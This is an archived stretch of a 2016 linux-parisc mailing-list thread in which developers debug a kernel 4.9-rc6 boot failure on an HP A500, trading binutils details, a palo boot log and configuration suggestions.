        by smtp2.it.da.ut.ee (Postfix) with ESMTP id 9879073DA7B;
        Mon, 28 Nov 2016 18:06:52 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 19F32221913; Mon, 28 Nov 2016 19:39:13 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 5A921220C8B;
        Mon, 28 Nov 2016 19:39:13 +0200 (EET)
In-Reply-To: <trinity-2cc16b5d-53b2-4332-8a92-566526865345-1480347604360@3capp-gmx-bs71>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27078
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27078>

> > > > > Command line for kernel: 'root=/dev/sda3 console=ttyS0 
> > > > > palo_kernel=2/vmlinux'
> > > > > Selected kernel: /vmlinux from partition 2
> > > > 
> > > > I'm missing here the information of the various sections
> > > > in the vmlinux file which the boot loader usually prints
> > > > here.
> > > 
> > > Well, I did not leave anything out AFAIK?
> > 
> > It seems palo can't read the vmlinux file (aka get's confused with the contents
> > and doesn't print the ELF section list).
> > 
> > Did you maybe used a recent binutils package?
> > See:
> > https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=845690
> > https://sourceware.org/ml/binutils/2016-11/msg00348.html
> > 
> > Maybe downgrading binutils helps?
> 
> Sorry, I just noticed that you are pretty aware of this bug
> (you actually opened the ticket) :-)

Yes, but I did not understand it would affect parisc, since the problem 
_seemed_ to be amd64-specific. But looking at the description, it might 
well be related.

However, I seem to have installed version 2.25.1-r1 that seems to be 
from Oct 3 2015 and thus is not likely to have this change.

There is also sys-devel/binutils-hppa64-2.25.1 that is probably used for 
the 64-bit kernel, but this is emerged Jul 6 2016 and packaged Sep 30 
2015.

In summary it seems my binutils last changed in July 2016, but 
4.8.0 kernel was compile on Oct 5 2016, with the same binutils as I am 
using now.

So, any other ideas?

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Aw: Re: parsic: strange boot crash on a500
Date: Mon, 28 Nov 2016 20:37:46 +0200 (EET)
Lines: 27
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1611282036240.11649@math.ut.ee>
References: <alpine.LRH.2.20.1611260142170.9292@math.ut.ee> <e8a4822d-bd78-7d5a-9c4b-b515b6fa8eb1@gmx.de> <alpine.LRH.2.20.1611272329430.19497@math.ut.ee> <3aa51712-b586-aefc-8e1f-b81b97c0729a@gmx.de>, <alpine.LRH.2.20.1611280013540.19497@math.ut.ee>,
 <trinity-e31b21fb-9eb0-43ac-9d20-c8882740e7d6-1480347397040@3capp-gmx-bs03> <trinity-2cc16b5d-53b2-4332-8a92-566526865345-1480347604360@3capp-gmx-bs71>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1480352733 31751 195.159.176.226 (28 Nov 2016 17:05:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 28 Nov 2016 17:05:33 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 28 18:05:24 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cBPMq-0007CA-9i
	for glpp-linux-parisc@m.gmane.org; Mon, 28 Nov 2016 18:05:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932930AbcK1RF1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 28 Nov 2016 12:05:27 -0500
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:60793 "EHLO smtp2.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S932495AbcK1RF1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 28 Nov 2016 12:05:27 -0500
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp2.it.da.ut.ee (Postfix) with ESMTP id 4C7D173DABB;
        Mon, 28 Nov 2016 19:05:25 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 29CE0221918; Mon, 28 Nov 2016 20:37:46 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 1C534221106;
        Mon, 28 Nov 2016 20:37:46 +0200 (EET)
In-Reply-To: <trinity-2cc16b5d-53b2-4332-8a92-566526865345-1480347604360@3capp-gmx-bs71>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27079
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27079>

> > > > > Command line for kernel: 'root=/dev/sda3 console=ttyS0 
> > > > > palo_kernel=2/vmlinux'
> > > > > Selected kernel: /vmlinux from partition 2
> > > > 
> > > > I'm missing here the information of the various sections
> > > > in the vmlinux file which the boot loader usually prints
> > > > here.
> > > 
> > > Well, I did not leave anything out AFAIK?
> > 
> > It seems palo can't read the vmlinux file (aka get's confused with the contents
> > and doesn't print the ELF section list).
> > 
> > Did you maybe used a recent binutils package?

Old binutils, but here is my vmlinux that does not boot (slightly larger 
than vmlinux-4.8.0):

http://kodu.ut.ee/~mroos/vmlinux-4.9.0-rc6-00240-gd8e435f

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Aw: Re: parsic: strange boot crash on a500
Date: Mon, 28 Nov 2016 12:30:07 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <cbdcebba-4768-da10-9ebf-69a244d244f6@bell.net>
References: <alpine.LRH.2.20.1611260142170.9292@math.ut.ee>
 <e8a4822d-bd78-7d5a-9c4b-b515b6fa8eb1@gmx.de>
 <alpine.LRH.2.20.1611272329430.19497@math.ut.ee>
 <3aa51712-b586-aefc-8e1f-b81b97c0729a@gmx.de>
 <alpine.LRH.2.20.1611280013540.19497@math.ut.ee>
 <trinity-e31b21fb-9eb0-43ac-9d20-c8882740e7d6-1480347397040@3capp-gmx-bs03>
 <trinity-2cc16b5d-53b2-4332-8a92-566526865345-1480347604360@3capp-gmx-bs71>
 <alpine.LRH.2.20.1611282036240.11649@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1480354216 366 195.159.176.226 (28 Nov 2016 17:30:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 28 Nov 2016 17:30:16 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101
 Thunderbird/45.5.0
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 28 18:30:08 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cBPkl-0007SM-0D
	for glpp-linux-parisc@m.gmane.org; Mon, 28 Nov 2016 18:30:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752142AbcK1RaI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 28 Nov 2016 12:30:08 -0500
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:45958 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1752124AbcK1RaI (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 28 Nov 2016 12:30:08 -0500
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20161128173006.ZEAT8341.mtlfep01.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 28 Nov 2016 12:30:06 -0500
Original-Received: from [192.168.0.125] (really [69.156.4.4]) by mtlspm02.bell.net
          with ESMTP
          id <20161128173006.WIRJ3909.mtlspm02.bell.net@[192.168.0.125]>;
          Mon, 28 Nov 2016 12:30:06 -0500
In-Reply-To: <alpine.LRH.2.20.1611282036240.11649@math.ut.ee>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020206.583C699E.0479,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27080
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27080>

On 2016-11-28 1:37 PM, Meelis Roos wrote:
> Old binutils, but here is my vmlinux that does not boot (slightly larger
> than vmlinux-4.8.0):
Maybe compare ELF PHDRS and sections with working and non working 
kernels.  I think Helge
may have changed the placement of some stuff.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Aw: Re: parsic: strange boot crash on a500
Date: Mon, 28 Nov 2016 19:05:27 +0100
Lines: 99
Approved: news@gmane.org
Message-ID: <02c86f80-c5c8-c652-21b4-2a32d51c15fe@gmx.de>
References: <alpine.LRH.2.20.1611260142170.9292@math.ut.ee>
 <e8a4822d-bd78-7d5a-9c4b-b515b6fa8eb1@gmx.de>
 <alpine.LRH.2.20.1611272329430.19497@math.ut.ee>
 <3aa51712-b586-aefc-8e1f-b81b97c0729a@gmx.de>
 <alpine.LRH.2.20.1611280013540.19497@math.ut.ee>
 <trinity-e31b21fb-9eb0-43ac-9d20-c8882740e7d6-1480347397040@3capp-gmx-bs03>
 <trinity-2cc16b5d-53b2-4332-8a92-566526865345-1480347604360@3capp-gmx-bs71>
 <alpine.LRH.2.20.1611282036240.11649@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1480356335 7359 195.159.176.226 (28 Nov 2016 18:05:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 28 Nov 2016 18:05:35 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 28 19:05:31 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cBQJ0-0007Dx-6X
	for glpp-linux-parisc@m.gmane.org; Mon, 28 Nov 2016 19:05:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751660AbcK1SFe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 28 Nov 2016 13:05:34 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:54230 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751515AbcK1SFd (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 28 Nov 2016 13:05:33 -0500
Original-Received: from [192.168.20.60] ([92.203.17.97]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MgtWa-1cOXJQ1XFo-00M4UT; Mon, 28
 Nov 2016 19:05:28 +0100
In-Reply-To: <alpine.LRH.2.20.1611282036240.11649@math.ut.ee>
X-Provags-ID: V03:K0:6wwtdSWWrPIptx/zvz8QH/kVmTCwwHfHOl+l5BRzoOPZzXoKlaR
 FBF6e6GXfToMm0kSicx44TDcFYlVsahsip2ZVdPHl8t8HVIQu+tMhpe7vc9y/FmJ97n4WDo
 rJmUUwcCbgqIV0huhMalR9fZfglK+u0QUBRuOfiAOHsw3DehP3JMDV3yX4swgWj/mPE4czB
 Y0yRd+XBc18LrOFRo4uAA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:TOocE5rc7y0=:IzwDV51D8BFz9Ksg7I0Qhz
 V78gOqrARgqLDy3vKng05FOT2l6zL1gewYVmNhrPmODbuOXrLTsOfceM/bWu/RawJifAOeFb7
 qGUp75jYiz3WbJTpZA4QaG/80X1yNgoUmXJgX2rQPCW9xFXbX71sMD4uycv2eXy4PqHTKPfwe
 l3QnHXyiEGQUy6w+7VC/hyiPv7xv6AScszolODOkDwEUQPvhiMJCnsajw1n3Fuc2t0h7rRkFn
 qep1bIqUODUyDyB+ukmY7HZnJTFU2Z0coY2PF0BASYVXBx3PSmd5ydmxkfpjKdvs7XYOjYB6h
 +a7bXAfPrz+u/zZP87PJcgl6EOdGQyePaBQY8vpaqWcKOZetkGSy08R2O77Thyo4vresrNe06
 zGm1mPZ8gKoSN4f9AgJ5gc6yzFvkBpt3tfJ/wnSI2FfnfV8usr9E+fWf06hlbcyDIOO1ZeFaw
 ChYku0tUJnhoLxQWg7GsFspB0ifqLKYL9SnvyBaHnAN2SrmF3pc9PG3kptw4gbdLih6OlkmFx
 PHJ70nSAVqnrlJ63g/IRGJPdjE34A/WhW0/wfRfAGXaJPI1u9gSr1R47CWztSv3EcCFCW/21s
 fzR2knVPgV4qTcVURENhjkcTGzMRrYSa4mULBlHTa4C0p1YyJcriDLjA6KI3dvMizM1u6+XBO
 pXgEcTULHNYtr4cIdb7MGNyzlXddOXfV0zoEWUitI2jBbMMxbra4cMvAqtImwDe+XDt+0uuoY
 UTdq78EjAEPmcW/YOsgP07J8IXLLeP3EUl5X+bfEy3R1i1/wGb/OmrRHjfghwVVPGSoiSXoQ 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27081
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27081>

On 28.11.2016 19:37, Meelis Roos wrote:
>>>>>> Command line for kernel: 'root=/dev/sda3 console=ttyS0 
>>>>>> palo_kernel=2/vmlinux'
>>>>>> Selected kernel: /vmlinux from partition 2
>>>>>
>>>>> I'm missing here the information of the various sections
>>>>> in the vmlinux file which the boot loader usually prints
>>>>> here.
>>>>
>>>> Well, I did not leave anything out AFAIK?
>>>
>>> It seems palo can't read the vmlinux file (aka get's confused with the contents
>>> and doesn't print the ELF section list).
>>>
>>> Did you maybe used a recent binutils package?
> 
> Old binutils, but here is my vmlinux that does not boot (slightly larger 
> than vmlinux-4.8.0):
> 
> http://kodu.ut.ee/~mroos/vmlinux-4.9.0-rc6-00240-gd8e435f

This kernel boots nicely for me on my c3000 machine:

Main Menu: Enter command > bo pri
Interact with IPL (Y, N, Q)?> y

Booting... 
Boot IO Dependent Code (IODC) revision 0


HARD Booted.
palo ipl 1.96 http://www.parisc-linux.org - Sun, 08 Oct 2016 22:40:31 +0100
Skipping extended partition 6 - beyond reach of IPL

Partition Start(MB) End(MB) Id Type
1               2      33   f0 Palo
2              34     157   83 ext2
5             159   134887   83 ext2

PALO(F0) partition contains:
    0/vmlinux64 17631904(0) bytes @ 0x140000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).Current command line:
2/vmlinux root=LABEL=ROOT rootfstype=ext4 initrd=2/initrd.img HOME=/ panic_timeout=60 panic=-1 console=ttyS0 TERM=vt102
...
Current command line:
2/vmlinux-4.9.0-rc6-00240-gd8e435f root=LABEL=ROOT rootfstype=ext4 HOME=/ panic_timeout=60 panic=-1 console=ttyS0 TERM=vt102
 0: 2/vmlinux-4.9.0-rc6-00240-gd8e435f
 1: root=LABEL=ROOT
 2: rootfstype=ext4
 3: HOME=/
 4: panic_timeout=60
 5: panic=-1
 6: console=ttyS0
 7: TERM=vt102

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
'x'    reset and reboot machine
? b

Command line for kernel: 'root=LABEL=ROOT rootfstype=ext4 HOME=/ panic_timeout=60 panic=-1 console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux-4.9.0-rc6-'
Selected kernel: /vmlinux-4.9.0-rc6-00240-gd8e435f from partition 2
ELF64 executable
Entry 00100000 first 00100000 n 5
Segment 0 load 00100000 size 134688 mediaptr 0x1000
Segment 1 load 00121000 size 22272 mediaptr 0x22000
Segment 2 load 00200000 size 4456864 mediaptr 0x28000
Segment 3 load 00641000 size 1387492 mediaptr 0x469000
Segment 4 load 00800000 size 1084600 mediaptr 0x5bc000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 4.9.0-rc6-00240-gd8e435f (mroos@a500) (gcc version 5.4.0 (Gentoo 5.4.0 p1.0) ) #104 Sun Nov 27 16:30:20 EET 2016
unwind_init: start = 0x4075a444, end = 0x40793be4, entries = 14714
FP[0] enabled: Rev 1 Model 19
The 64-bit Kernel has started...
Kernel default page size is 4 KB. Huge pages enabled with 1 MB physical and 2 MB virtual size.
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005dc0 00000481 00000000 00000002 777c3e84 100000f0 00000008 000000b2 000000b2
vers  00000301
CPUID vers 19 rev 11 (0x0000026b)
capabilities 0x7
model 9000/785/C3700
...

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Aw: Re: parsic: strange boot crash on a500
Date: Mon, 28 Nov 2016 19:09:36 +0100
Lines: 111
Approved: news@gmane.org
Message-ID: <98c1d3ba-53be-57f6-5a06-5c4895c4bf6c@gmx.de>
References: <alpine.LRH.2.20.1611260142170.9292@math.ut.ee>
 <e8a4822d-bd78-7d5a-9c4b-b515b6fa8eb1@gmx.de>
 <alpine.LRH.2.20.1611272329430.19497@math.ut.ee>
 <3aa51712-b586-aefc-8e1f-b81b97c0729a@gmx.de>
 <alpine.LRH.2.20.1611280013540.19497@math.ut.ee>
 <trinity-e31b21fb-9eb0-43ac-9d20-c8882740e7d6-1480347397040@3capp-gmx-bs03>
 <trinity-2cc16b5d-53b2-4332-8a92-566526865345-1480347604360@3capp-gmx-bs71>
 <alpine.LRH.2.20.1611282036240.11649@math.ut.ee>
 <02c86f80-c5c8-c652-21b4-2a32d51c15fe@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1480356624 22338 195.159.176.226 (28 Nov 2016 18:10:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 28 Nov 2016 18:10:24 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 28 19:10:18 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cBQNd-0005BQ-K3
	for glpp-linux-parisc@m.gmane.org; Mon, 28 Nov 2016 19:10:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751515AbcK1SKU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 28 Nov 2016 13:10:20 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:64787 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751660AbcK1SKT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 28 Nov 2016 13:10:19 -0500
Original-Received: from [192.168.20.60] ([92.203.17.97]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LrNoG-1cqAU20Pts-013A59; Mon, 28
 Nov 2016 19:09:38 +0100
In-Reply-To: <02c86f80-c5c8-c652-21b4-2a32d51c15fe@gmx.de>
X-Provags-ID: V03:K0:VsLfCJfy+MEU0W66t2NE7xuQpgQat5TQQZ5DGEw1jdYHcjxfyHh
 Okj+zzt0TDhuZ8hAt2mdBrVk0JqOxmzrJYLaf/1hosDcZRCjmNXcrC8QjYGZSiyKZDIUggi
 2G+1y59iFePikc6n3ioBViLYXeAQtNvsrzfRKyz7LjLlHrrVvCrUba/JDKq1j7sZMh/F9cJ
 ccWORbeV4KfG8C4oBCsnQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:HSB0++b2Ihc=:mDhS3lWktDe6QoXpYi0R2I
 qdNuA3X/jSyPwdHrt3gkQ58gPKH/JsLTN44YM06nwSx9S5PFq3bFpNzU131dKZzNTy7Jat9gM
 fZSUm3F/3loQTdjoHwSjij46nV44rRZ+KgZIKnJxLvI+Ir2PglUbF38urwyY3FPyHcxmk59Zc
 VtpLAAUmDGRKRrXh1hVMQSUR7jm5hTM9MqeO9Vav59okZgcRV20EmmxWyiQZbDpIL+P/6cOLY
 TxnfY7OSLt6RcbbOctWr0cihHfZt2KwWzK1tF2fnm64Mu81W5Jk+pMryyu/PC47OPBynpeS04
 8WFq+7ZTBaD3JT786TFCy9f4rClNq3m1HCxZFLUj6kWRViQaBzdUwJ1DJ+O4wRuBawqxbaCNS
 r6QzxcnsD1utRsacUHp64ksX/ahFWgDudQr8rBMjak8I7Djn97fMkM9LbaUwskw6vsvvDDqHU
 tB0KLkJ7qnC/rwXzhkKllzm7oIo2fb2xsWNdJoJnEm/rtkuIaUOw6l3NJ7QNftMZ/9D8XMoyV
 ZEdDLJxBcuBk+gXao28BdKeEeKv51HPM2AlNeUp2HtEWpcvNuX/Q7O7tp8Jq2KqtA9IlvEmfN
 D2trFQAzYBsV1D9XQ4QWZLU33wjUlckpURuiHR42j5XI7TiWozGjlQX4dvDn6UCgPQfWzlaxi
 yzY5v4mQmNXpaS/xim5aiuzZa4IeWhQ5/Uibz5Ozw3s5YrpYqZjMhQ1M2pkhv/f+YX0ie92oN
 HurOb6iFeqwNbqy1xeCWaPmqvWfl+ahqsK2MHNq3H8Zr9s+PRPCeXGtEpn1bkomZFbaS02ff 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27082
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27082>

On 28.11.2016 19:05, Helge Deller wrote:
> On 28.11.2016 19:37, Meelis Roos wrote:
>>>>>>> Command line for kernel: 'root=/dev/sda3 console=ttyS0 
>>>>>>> palo_kernel=2/vmlinux'
>>>>>>> Selected kernel: /vmlinux from partition 2
>>>>>>
>>>>>> I'm missing here the information of the various sections
>>>>>> in the vmlinux file which the boot loader usually prints
>>>>>> here.
>>>>>
>>>>> Well, I did not leave anything out AFAIK?
>>>>
>>>> It seems palo can't read the vmlinux file (aka get's confused with the contents
>>>> and doesn't print the ELF section list).
>>>>
>>>> Did you maybe used a recent binutils package?
>>
>> Old binutils, but here is my vmlinux that does not boot (slightly larger 
>> than vmlinux-4.8.0):
>>
>> http://kodu.ut.ee/~mroos/vmlinux-4.9.0-rc6-00240-gd8e435f
> 
> This kernel boots nicely for me on my c3000 machine:
> 
> Main Menu: Enter command > bo pri
> Interact with IPL (Y, N, Q)?> y
> 
> Booting... 
> Boot IO Dependent Code (IODC) revision 0
> 
> 
> HARD Booted.
> palo ipl 1.96 http://www.parisc-linux.org - Sun, 08 Oct 2016 22:40:31 +0100
> Skipping extended partition 6 - beyond reach of IPL
> 
> Partition Start(MB) End(MB) Id Type
> 1               2      33   f0 Palo
> 2              34     157   83 ext2
> 5             159   134887   83 ext2
> 
> PALO(F0) partition contains:
>     0/vmlinux64 17631904(0) bytes @ 0x140000
> 
> Information: No console specified on kernel command line. This is normal.
> PALO will choose the console currently used by firmware (serial).Current command line:
> 2/vmlinux root=LABEL=ROOT rootfstype=ext4 initrd=2/initrd.img HOME=/ panic_timeout=60 panic=-1 console=ttyS0 TERM=vt102

The only differences I currently see between your and my setup are:
1. My palo partition contains a vmlinux file (you need to add a vmlinux file to your /etc/palo.conf file and rerun "palo -v").
2. In my setup I didn't added "console=ttyS0". palo does that by itself if you run via serial console.

I'm not confident that those are the problem, but you may try...

Helge 


> ...
> Current command line:
> 2/vmlinux-4.9.0-rc6-00240-gd8e435f root=LABEL=ROOT rootfstype=ext4 HOME=/ panic_timeout=60 panic=-1 console=ttyS0 TERM=vt102
>  0: 2/vmlinux-4.9.0-rc6-00240-gd8e435f
>  1: root=LABEL=ROOT
>  2: rootfstype=ext4
>  3: HOME=/
>  4: panic_timeout=60
>  5: panic=-1
>  6: console=ttyS0
>  7: TERM=vt102
> 
> <#>    edit the numbered field
> 'b'    boot with this command line
> 'r'    restore command line
> 'l'    list dir
> 'x'    reset and reboot machine
> ? b
> 
> Command line for kernel: 'root=LABEL=ROOT rootfstype=ext4 HOME=/ panic_timeout=60 panic=-1 console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux-4.9.0-rc6-'
> Selected kernel: /vmlinux-4.9.0-rc6-00240-gd8e435f from partition 2
> ELF64 executable
> Entry 00100000 first 00100000 n 5
> Segment 0 load 00100000 size 134688 mediaptr 0x1000
> Segment 1 load 00121000 size 22272 mediaptr 0x22000
> Segment 2 load 00200000 size 4456864 mediaptr 0x28000
> Segment 3 load 00641000 size 1387492 mediaptr 0x469000
> Segment 4 load 00800000 size 1084600 mediaptr 0x5bc000
> Branching to kernel entry point 0x00100000.  If this is the last
> message you see, you may need to switch your console.  This is
> a common symptom -- search the FAQ and mailing list at parisc-linux.org
> 
> Linux version 4.9.0-rc6-00240-gd8e435f (mroos@a500) (gcc version 5.4.0 (Gentoo 5.4.0 p1.0) ) #104 Sun Nov 27 16:30:20 EET 2016
> unwind_init: start = 0x4075a444, end = 0x40793be4, entries = 14714
> FP[0] enabled: Rev 1 Model 19
> The 64-bit Kernel has started...
> Kernel default page size is 4 KB. Huge pages enabled with 1 MB physical and 2 MB virtual size.
> bootconsole [ttyB0] enabled
> Initialized PDC Console for debugging.
> Determining PDC firmware type: System Map.
> model 00005dc0 00000481 00000000 00000002 777c3e84 100000f0 00000008 000000b2 000000b2
> vers  00000301
> CPUID vers 19 rev 11 (0x0000026b)
> capabilities 0x7
> model 9000/785/C3700
> ...
> 
> Helge
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Aw: Re: parsic: strange boot crash on a500
